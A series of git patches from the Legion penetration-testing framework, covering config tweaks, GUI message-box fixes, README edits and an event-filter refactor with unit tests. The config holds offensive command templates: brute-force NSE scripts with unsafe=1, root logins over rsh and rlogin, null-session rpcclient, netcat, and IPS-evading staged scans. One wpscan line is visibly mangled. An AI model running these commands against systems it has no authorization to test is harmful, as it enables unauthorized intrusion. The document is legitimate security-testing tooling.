rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], shell +ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp + +[SchedulerSettings] +ftp-default=ftp, tcp +mssql-default=ms-sql-s, tcp +mysql-default=mysql, tcp +nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp +oracle-default=oracle-tns, tcp +postgres-default=postgresql, tcp +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +smbenum=microsoft-ds, tcp +smtp-enum-vrfy=smtp, tcp +snmp-default=snmp, udp +snmpcheck=snmp, udp +x11screen=X11, tcp + +[StagedNmapSettings] +stage1-ports="T:80,443" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="Vulners,CVE" +stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage6-ports=T:30000-65535 + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/sbin/nmap +texteditor-path=/usr/bin/leafpad diff --git a/legion.conf b/legion.conf index 50906b58..b1fda2f3 100644 --- a/legion.conf +++ b/legion.conf @@ -9,8 +9,8 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,554,100" -process-tab-detail=False +process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,491,100" +process-tab-detail=false [GeneralSettings] default-terminal=gnome-terminal @@ -29,10 +29,9 @@ nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUT nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan -python-script-CrashMe=Run CrashMe python scripy, python3 ./scripts/python/dummy.py nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v [PortActions] @@ -275,25 +274,24 @@ sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,p tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl" webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" -wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl" -wpscan=Run wpscan, "wpscan --url [IP]:[PORT], "http,https" -x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 +wpscan=Run wpscan, "wpscan --url [IP]:[PORT], http", "https\nx11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11\n\n[PortTerminalActions]\nfirefox=Open with firefox, firefox [IP]:[PORT], \nftp=Open with ftp client, ftp [IP] [PORT], ftp\nmssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], mys-sql-s" [PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], +firefox=Open with firefox, firefox [IP]:[PORT], ftp=Open with ftp client, ftp [IP] [PORT], ftp mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], +netcat=Open with netcat, nc -v [IP] [PORT], psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" rsh=Open with rsh, rsh -l root [IP], shell ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], +telnet=Open with telnet, telnet [IP] [PORT], vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp @@ -306,7 +304,9 @@ oracle-default=oracle-tns, tcp postgres-default=postgresql, tcp screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp smbenum=microsoft-ds, tcp +smtp-enum-vrfy=smtp, tcp snmp-default=snmp, udp +snmpcheck=snmp, udp x11screen=X11, tcp [StagedNmapSettings] @@ -315,10 +315,10 @@ stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" stage3-ports="Vulners,CVE" stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage6-ports="T:30000-65534,65535" +stage6-ports=T:30000-65535 [ToolSettings] cutycapt-path=/usr/bin/cutycapt hydra-path=/usr/bin/hydra -nmap-path=/usr/bin/nmap +nmap-path=/sbin/nmap texteditor-path=/usr/bin/leafpad diff --git a/ui/view.py b/ui/view.py index 4d7a877c..7e212e50 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1553,10 +1553,10 @@ def findFinishedBruteTab(self, pid): def findFinishedServiceTab(self, pid): for i in range(0, self.ui.ServicesTabWidget.count()): - if str(self.ui.ServicesTabWidget.widget(i).pid) == pid: - #self.bruteProcessFinished(self.ui.BruteTabWidget.widget(i)) - print("Close Tab: {0}".format(str(i))) - return + #if str(self.ui.ServicesTabWidget.widget(i).pid) == pid: + # #self.bruteProcessFinished(self.ui.BruteTabWidget.widget(i)) + print("Close Tab: {0}".format(str(i))) + return def blinkBruteTab(self, bWidget): self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor('red')) From 3cf33bf02a883eed9ffb007c0bc466a7cd3b85d2 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 12 Aug 2019 09:20:34 -0500 Subject: [PATCH 280/450] Msgbox fix --- controller/controller.py | 4 ++-- hydra.restore | Bin 0 -> 5957 bytes ui/view.py | 3 ++- 3 files changed, 4 insertions(+), 3 deletions(-) create mode 100644 hydra.restore diff --git a/controller/controller.py b/controller/controller.py index dff4d562..72619b0e 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,13 +28,13 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1565211481' + self.build = '1565619577' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '08/07/2019' + self.update = '08/12/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." diff --git a/hydra.restore b/hydra.restore new file mode 100644 index 0000000000000000000000000000000000000000..e43517de3fb39853781146f6654d6c0bf8f6a990 GIT binary patch literal 5957 zcmeI0IZnes6owsP0z6UD!v(yIE$nfFC?jzJ3MdQ?Q6$H9ybwnq(a=!A38*73z$qx< z5G-c^k3FL}CKjTN-W2n;-%sPO{CiU`c7a;*riABT1UfbK8qb?iNJL+JvnvLTc-W}x zrPv{QY*(`O-s7$J?fHyl-A<+7;ZaNpHC0MgV(Y47fU2dVNb~!H zVHhYza-QW`K2hQ<2!_Ex8%>k3@AWU-%uh8#Cyq{an^;8Ow{3?~+fYh{!X?VWZpAcp zOHK0>pj1H|hN&c#cjP9?B#gbPD#zk|^|#B<$4@8qK}&vrJ$qqn9(ZiBt=IK@*}5jj zWg6@u0VIF~kN^@u0!RP}AOR$R1dsp{Kmw~zV8Q1AlYn6Zz(+1ga`E%)96-d~h>XY8 z=koU-GUw~;;OLYonG*!?Sy1a1)dp)7=aSR9LTVL|;{HWV_-F7{&|~)R7T4Z#YIjJl MonB=}_DcKw2PB?<-v9sr literal 0 HcmV?d00001 diff --git a/ui/view.py b/ui/view.py index 7e212e50..5026f4c8 100644 --- a/ui/view.py +++ b/ui/view.py @@ -351,7 +351,8 @@ def saveProjectAs(self): if not str(filename).endswith('.legion'): filename = str(filename) + '.legion' msgBox = QtWidgets.QMessageBox() - reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", "Abort", "Replace", "", 0) + reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", \ + msgBox.QMessageBox.Abort | msgBox.QMessageBox.Save) if reply == 1: self.controller.saveProjectAs(filename, 1) # replace From 7b2e78abb7b47373b589259865e68ed3a4f040be Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 12 Aug 2019 09:32:58 -0500 Subject: [PATCH 281/450] Msgbox fix --- ui/view.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/ui/view.py b/ui/view.py index 5026f4c8..d2c7417c 100644 --- a/ui/view.py +++ b/ui/view.py @@ -351,10 +351,9 @@ def saveProjectAs(self): if not str(filename).endswith('.legion'): filename = str(filename) + '.legion' msgBox = QtWidgets.QMessageBox() - reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", \ - msgBox.QMessageBox.Abort | msgBox.QMessageBox.Save) + reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", QtWidgets.QMessageBox.Abort | QtWidgets.QMessageBox.Save) - if reply == 1: + if reply == QtWidgets.QMessageBox.Save: self.controller.saveProjectAs(filename, 1) # replace break From 55e0e2f4ce24b960dc50904b25fa2503d12f9049 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 12 Aug 2019 09:44:24 -0500 Subject: [PATCH 282/450] Cleanup trash --- controller/controller.py | 2 +- hydra.restore | Bin 5957 -> 0 bytes 2 files changed, 1 insertion(+), 1 deletion(-) delete mode 100644 hydra.restore diff --git a/controller/controller.py b/controller/controller.py index 72619b0e..ec5ec489 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1565619577' + self.build = '1565621036' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/hydra.restore b/hydra.restore deleted file mode 100644 index e43517de3fb39853781146f6654d6c0bf8f6a990..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5957 zcmeI0IZnes6owsP0z6UD!v(yIE$nfFC?jzJ3MdQ?Q6$H9ybwnq(a=!A38*73z$qx< z5G-c^k3FL}CKjTN-W2n;-%sPO{CiU`c7a;*riABT1UfbK8qb?iNJL+JvnvLTc-W}x zrPv{QY*(`O-s7$J?fHyl-A<+7;ZaNpHC0MgV(Y47fU2dVNb~!H zVHhYza-QW`K2hQ<2!_Ex8%>k3@AWU-%uh8#Cyq{an^;8Ow{3?~+fYh{!X?VWZpAcp zOHK0>pj1H|hN&c#cjP9?B#gbPD#zk|^|#B<$4@8qK}&vrJ$qqn9(ZiBt=IK@*}5jj zWg6@u0VIF~kN^@u0!RP}AOR$R1dsp{Kmw~zV8Q1AlYn6Zz(+1ga`E%)96-d~h>XY8 z=koU-GUw~;;OLYonG*!?Sy1a1)dp)7=aSR9LTVL|;{HWV_-F7{&|~)R7T4Z#YIjJl MonB=}_DcKw2PB?<-v9sr From 561b37aba111a29406b7b4f41504ffe2b8ed3209 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 23 Aug 2019 22:20:49 -0400 Subject: [PATCH 283/450] Update README.md Changed links to govanguard.com, added Keybase team link. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index ece030b8..25d80231 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,8 @@ ## ABOUT Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing framework that aids in discovery, reconnaissance and exploitation of information systems. -[Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the [roadmap](https://govanguard.io/legion), can be found on it's project page at [https://GoVanguard.io/legion](https://govanguard.io/legion). +[Legion](https://govanguard.com/legion) is developed and maintained by [GoVanguard](https://govanguard.com). More information about Legion, including the [roadmap](https://govanguard.com/legion), can be found on it's project page at [https://GoVanguard.com/legion](https://govanguard.com/legion). +If you are interested in contributing to Legion, join our [Legion Keybase Team](https://keybase.io/team/govanguard.dev.legion). ### FEATURES * Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and more (with almost 100 auto-scheduled scripts) From a63eb06b57a1b8e341b23cae5536b575aeaf14fc Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sat, 24 Aug 2019 11:19:38 -0400 Subject: [PATCH 284/450] Update README typos and line wrapping --- README.md | 69 +++++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 49 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index f48f88a9..3900a681 100644 --- a/README.md +++ b/README.md @@ -7,12 +7,18 @@ ## ABOUT -Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing framework that aids in discovery, reconnaissance and exploitation of information systems. -[Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the [roadmap](https://govanguard.io/legion), can be found on it's project page at [https://GoVanguard.io/legion](https://govanguard.io/legion). +Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network +penetration testing framework that aids in discovery, reconnaissance and exploitation of information systems. +[Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). +More information about Legion, including the [roadmap](https://govanguard.io/legion), can be found on its project +page at [https://GoVanguard.io/legion](https://govanguard.io/legion). ### FEATURES -* Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and more (with almost 100 auto-scheduled scripts) -* Easy to use graphical interface with rich context menus and panels that allow pentesters to quickly find and exploit attack vectors on hosts + +* Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer +and more (with almost 100 auto-scheduled scripts) +* Easy to use graphical interface with rich context menus and panels that allow pentesters to quickly find and +exploit attack vectors on hosts * Modular functionality allows users to easily customize Legion and automatically call their own scripts/tools * Highly customizable stage scanning for ninja-like IPS evasion * Automatic detection of CPEs (Common Platform Enumeration) and CVEs (Common Vulnerabilities and Exposures) @@ -20,39 +26,52 @@ Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-exten * Realtime autosaving of project results and tasks ### NOTABLE CHANGES FROM SPARTA -* Refactored from Python 2.7 to Python 3.6 and the elimination of depreciated and unmaintained libraries + +* Refactored from Python 2.7 to Python 3.6 and the elimination of deprecated and unmaintained libraries * Upgraded to PyQT5, increased responsiveness, less buggy, more intuitive GUI that includes features like: * Task completion estimates * 1-Click scan lists of ips, hostnames and CIDR subnets * Ability to purge results, rescan hosts and delete hosts - * Granual NMAP scanning options + * Granular NMAP scanning options * Support for hostname resolution and scanning of vhosts/sni hosts * Revise process queuing and execution routines for increased app reliability and performance * Simplification of installation with dependency resolution and installation routines -* Realtime project autosaving so in the event some goes wrong, you will not loose any progress! +* Realtime project autosaving so in the event some goes wrong, you will not lose any progress! * Docker container deployment option * Supported by a highly active development team ### GIF DEMO + ![](https://govanguard.io/wp-content/uploads/2019/02/LegionDemo.gif) ## INSTALLATION -It is preferable to use the docker image over a traditional installation. This is because of all the dependancy requirements and the complications that occur in environments which differ from a clean, non-default installation. + +It is preferable to use the docker image over a traditional installation. This is because of all the dependancy +requirements and the complications that occur in environments which differ from a clean, non-default installation. ### Supported Distributions #### Docker runIt script -runIt supports Ubuntu 18, Fedora 30, Parrot and Kali at this time. It is possible to run the docker image on any Linux distribution, however, different distributions have different hoops to jump through to get a docker app to be able to connect to the X server. Eveyone is welcome to try and figure those hoops out and create a PR for runIt. + +runIt supports Ubuntu 18, Fedora 30, Parrot and Kali at this time. It is possible to run the docker image on any +Linux distribution, however, different distributions have different hoops to jump through to get a docker app to +be able to connect to the X server. Everyone is welcome to try and figure those hoops out and create a PR for runIt. #### Traditional Install -We can only promise correct operation on Ubuntu 18 using the traditional installation at this time. While it should work on ParrotOS, Kali and others, until we have Legion packaged and placed into the repos for each of these distros it's musical chairs with reguards to platform updates changing and breaking dependancies. + +We can only promise correct operation on Ubuntu 18 using the traditional installation at this time. While it should +work on ParrotOS, Kali and others, until we have Legion packaged and placed into the repos for each of these distros +it's musical chairs with regards to platform updates changing and breaking dependencies. ### DOCKER METHOD ------ Linux with Local X11: + - Assumes Docker and X11 are installed and setup (including running docker commands as a non-root user) - - It is crititcal to follow all the instructions for running as a non-root user. Skipping any of them will result in complications getting docker to communicate with the X server - - See detailed instructions to setup docker [here](#docker-setup) and enable running containers as non-root users and granting docker group ssh rights [here](#docker-setup-non-root) + - It is critical to follow all the instructions for running as a non-root user. Skipping any of them will result in + complications getting docker to communicate with the X server + - See detailed instructions to setup docker [here](#docker-setup) and enable running containers as non-root users + and granting docker group ssh rights [here](#docker-setup-non-root) - Within Terminal: ``` @@ -75,7 +94,8 @@ Linux with Remote X11: Windows under WSL using Xming and Docker Desktop: - Assumes Xming is installed in Windows - - Assumes Docker Desktop is installed in Windows, Docker Desktop is running in Linux containers mode and Docker Desktop is connected to WSL + - Assumes Docker Desktop is installed in Windows, Docker Desktop is running in Linux containers mode and + Docker Desktop is connected to WSL - See detailed instructions [here](#docker-setup-wsl) - Replace X.X.X.X with the IP with which Xming has registered itself. - Right click Xming in system tray -> View log and see IP next to "XdmcpRegisterConnection: newAddress" @@ -93,7 +113,8 @@ Windows using Xming and Docker Desktop without WSL: OSX using XQuartz: - Not yet in runIt.sh script. - - Possible to setup using socat. See instructions here: https://kartoza.com/en/blog/how-to-run-a-linux-gui-application-on-osx-using-docker/ + - Possible to setup using socat. See instructions here: + https://kartoza.com/en/blog/how-to-run-a-linux-gui-application-on-osx-using-docker/ @@ -117,7 +138,8 @@ Setup Docker to allow non-root users: Setup Hyper-V, Docker Desktop, Xming and WSL: - - The order is important for port reservation reasons. If you have WSL, HyperV or Docker Desktop installed then please uninstall those features before proceeding. + - The order is important for port reservation reasons. If you have WSL, HyperV or Docker Desktop installed then + please uninstall those features before proceeding. - Cortana / Search -> cmd -> Right click -> Run as Administrator - To reserve the docker port, under CMD, run: ``` @@ -147,7 +169,8 @@ Setup Hyper-V, Docker Desktop, Xming and WSL: - Open Microsoft Store - Install Kali, Ubuntu or one of the other WSL Linux Distributions - Open the distribution, let it bootstrap and fill in the user creation details - - To install docker components typically needed and add setup the environment for docker redirection, under the WSL window, run: + - To install docker components typically needed and add setup the environment for docker redirection, + under the WSL window, run: ``` sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) stable" @@ -164,7 +187,8 @@ Setup Hyper-V, Docker Desktop, Xming and WSL: ``` ### TRADITIONAL METHOD - - Please use the docker image where possible! It's becoming very difficult to support all the various platforms and their own quirks + - Please use the docker image where possible! It's becoming very difficult to support all the various platforms + and their own quirks - Assumes Ubuntu, Kali or Parrot Linux is being used with Python 3.6 installed. - Within Terminal: ``` @@ -175,12 +199,17 @@ Setup Hyper-V, Docker Desktop, Xming and WSL: ``` ## LICENSE -Legion is licensed under the GNU General Public License v3.0. Take a look at the [LICENSE](https://github.com/GoVanguard/legion/blob/master/LICENSE) for more information. + +Legion is licensed under the GNU General Public License v3.0. Take a look at the +[LICENSE](https://github.com/GoVanguard/legion/blob/master/LICENSE) for more information. ## ATTRIBUTION -* Refactored Python 3.6+ codebase, added feature set and ongoing development of Legion is credited to [GoVanguard](https://govanguard.io) + +* Refactored Python 3.6+ codebase, added feature set and ongoing development of Legion is credited to +[GoVanguard](https://govanguard.io) * The initial Sparta Python 2.7 codebase and application design is credited SECFORCE. * Several additional PortActions, PortTerminalActions and SchedulerSettings are credited to batmancrew. * The nmap XML output parsing engine was largely based on code by yunshu, modified by ketchup and modified SECFORCE. * ms08-067_check script used by smbenum.sh is credited to Bernardo Damele A.G. -* Legion relies heavily on nmap, hydra, python, PyQt, SQLAlchemy and many other tools and technologies so we would like to thank all of the people involved in the creation of those. +* Legion relies heavily on nmap, hydra, python, PyQt, SQLAlchemy and many other tools and technologies so we +would like to thank all of the people involved in the creation of those. From 040406856026579327949d965c1af880e2e266be Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 25 Aug 2019 18:15:30 -0400 Subject: [PATCH 285/450] Fix complex predicate bug - Addresses github issue #18 --- .travis.yml | 1 + README.md | 10 ++++ legion.py | 54 +++-------------- tests/__init__.py | 0 tests/ui/__init__.py | 0 tests/ui/test_eventfilter.py | 111 +++++++++++++++++++++++++++++++++++ ui/eventfilter.py | 70 ++++++++++++++++++++++ 7 files changed, 200 insertions(+), 46 deletions(-) create mode 100644 tests/__init__.py create mode 100644 tests/ui/__init__.py create mode 100644 tests/ui/test_eventfilter.py create mode 100644 ui/eventfilter.py diff --git a/.travis.yml b/.travis.yml index f4ba0b4e..e227062d 100644 --- a/.travis.yml +++ b/.travis.yml @@ -18,6 +18,7 @@ install: script: - python ./test.py + - python -m unittest after_success: - cd ./docker/ diff --git a/README.md b/README.md index f48f88a9..63a756a4 100644 --- a/README.md +++ b/README.md @@ -174,6 +174,16 @@ Setup Hyper-V, Docker Desktop, Xming and WSL: sudo ./startLegion.sh ``` +## Development + +### Executing test cases + +To run all test cases, execute the following in root directory: + +```bash +python -m unittest +``` + ## LICENSE Legion is licensed under the GNU General Public License v3.0. Take a look at the [LICENSE](https://github.com/GoVanguard/legion/blob/master/LICENSE) for more information. diff --git a/legion.py b/legion.py index 6f542c9c..21ccfc13 100644 --- a/legion.py +++ b/legion.py @@ -1,5 +1,4 @@ #!/usr/bin/env python - ''' LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard @@ -10,7 +9,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' - +from ui.eventfilter import MyEventFilter from utilities.stenoLogging import * log = get_logger('legion', path="./log/legion-startup.log") log.setLevel(logging.INFO) @@ -22,7 +21,7 @@ log.info("Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") log.info(e) exit(1) - + try: from PyQt5 import QtWidgets, QtGui, QtCore except ImportError as e: @@ -32,7 +31,7 @@ try: import quamash - import asyncio + import asyncio except ImportError as e: log.info("Import failed. Quamash or asyncio not found.") log.info(e) @@ -48,59 +47,19 @@ log.info("Import failed. One or more of the terminal drawing libraries not found.") log.info(e) exit(1) - -from app.logic import * -from ui.gui import * + from ui.view import * from controller.controller import * -# this class is used to catch events such as arrow key presses or close window (X) -class MyEventFilter(QObject): - def eventFilter(self, receiver, event): - # catch up/down arrow key presses in hoststable - if(event.type() == QEvent.KeyPress and (receiver == view.ui.HostsTableView or receiver == view.ui.ServiceNamesTableView or receiver == view.ui.ToolsTableView or receiver == view.ui.ToolHostsTableView or receiver == view.ui.ScriptsTableView or receiver == view.ui.ServicesTableView or receiver == view.settingsWidget.toolForHostsTableWidget or receiver == view.settingsWidget.toolForServiceTableWidget or receiver == view.settingsWidget.toolForTerminalTableWidget)): - key = event.key() - if not receiver.selectionModel().selectedRows(): - return True - index = receiver.selectionModel().selectedRows()[0].row() - - if key == QtCore.Qt.Key_Down: - newindex = index + 1 - receiver.selectRow(newindex) - receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) - - elif key == QtCore.Qt.Key_Up: - newindex = index - 1 - receiver.selectRow(newindex) - receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) - - elif QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ControlModifier and key == QtCore.Qt.Key_C: - selected = receiver.selectionModel().currentIndex() - clipboard = QtWidgets.QApplication.clipboard() - clipboard.setText(selected.data().toString()) - - return True - - elif(event.type() == QEvent.Close and receiver == MainWindow): - event.ignore() - view.appExit() - return True - - else: - return super(MyEventFilter,self).eventFilter(receiver, event) # normal event processing - - # Main application declaration and loop if __name__ == "__main__": - + cprint(figlet_format('LEGION', font='starwars'), 'yellow', 'on_red', attrs=['bold']) app = QApplication(sys.argv) loop = quamash.QEventLoop(app) asyncio.set_event_loop(loop) - myFilter = MyEventFilter() # to capture events - app.installEventFilter(myFilter) MainWindow = QtWidgets.QMainWindow() app.setWindowIcon(QIcon('./images/icons/Legion-N_128x128.svg')) @@ -120,6 +79,9 @@ def eventFilter(self, receiver, event): controller = Controller(view, logic) # Controller prep (communication between model and view) view.qss = qss_file + myFilter = MyEventFilter(view, MainWindow) # to capture events + app.installEventFilter(myFilter) + # Center the application in screen x = app.desktop().screenGeometry().center().x() y = app.desktop().screenGeometry().center().y() diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/ui/__init__.py b/tests/ui/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/ui/test_eventfilter.py b/tests/ui/test_eventfilter.py new file mode 100644 index 00000000..8108fb9f --- /dev/null +++ b/tests/ui/test_eventfilter.py @@ -0,0 +1,111 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest import mock +from unittest.mock import MagicMock, Mock, patch + +from PyQt5.QtCore import QEvent, Qt, QObject, QVariant +from PyQt5.QtWidgets import QApplication + +from ui.eventfilter import MyEventFilter + + +class MyEventFilterTestCase(unittest.TestCase): + def setUp(self) -> None: + self.mock_view = MagicMock() + self.mock_main_window = MagicMock() + self.mock_event = MagicMock() + self.mock_receiver = MagicMock() + + def test_eventFilter_whenKeyPressedIsClose_InvokesAppExit(self): + event_filter = MyEventFilter(self.mock_view, self.mock_main_window) + self.mock_event.type = Mock(return_value=QEvent.Close) + + result = event_filter.eventFilter(self.mock_main_window, self.mock_event) + self.assertTrue(result) + self.mock_event.ignore.assert_called_once() + self.mock_view.appExit.assert_called_once() + + @patch('PyQt5.QtWidgets.QTableView') + @patch('PyQt5.QtWidgets.QAbstractItemView') + @patch('PyQt5.QtCore.QModelIndex') + def test_eventFilter_whenKeyDownPressed_SelectsNextRowAndEmitsClickEvent( + self, hosts_table_view, selection_model, selected_row): + self.mock_view.ui.HostsTableView = hosts_table_view + event_filter = MyEventFilter(self.mock_view, self.mock_main_window) + self.simulateKeyPress(Qt.Key_Down) + self.mock_receiver = hosts_table_view + selected_row.row = Mock(return_value=0) + selection_model.selectedRows = Mock(return_value=[selected_row]) + self.mock_receiver.selectionModel = Mock(return_value=selection_model) + + result = event_filter.eventFilter(self.mock_receiver, self.mock_event) + self.assertTrue(result) + self.mock_receiver.selectRow.assert_called_once_with(1) + self.mock_receiver.clicked.emit.assert_called_with(selected_row) + + @patch('PyQt5.QtWidgets.QTableView') + @patch('PyQt5.QtWidgets.QAbstractItemView') + @patch('PyQt5.QtCore.QModelIndex') + def test_eventFilter_whenKeyUpPressed_SelectsPreviousRowAndEmitsClickEvent( + self, hosts_table_view, selection_model, selected_row): + self.mock_view.ui.HostsTableView = hosts_table_view + event_filter = MyEventFilter(self.mock_view, self.mock_main_window) + self.simulateKeyPress(Qt.Key_Up) + self.mock_receiver = hosts_table_view + selected_row.row = 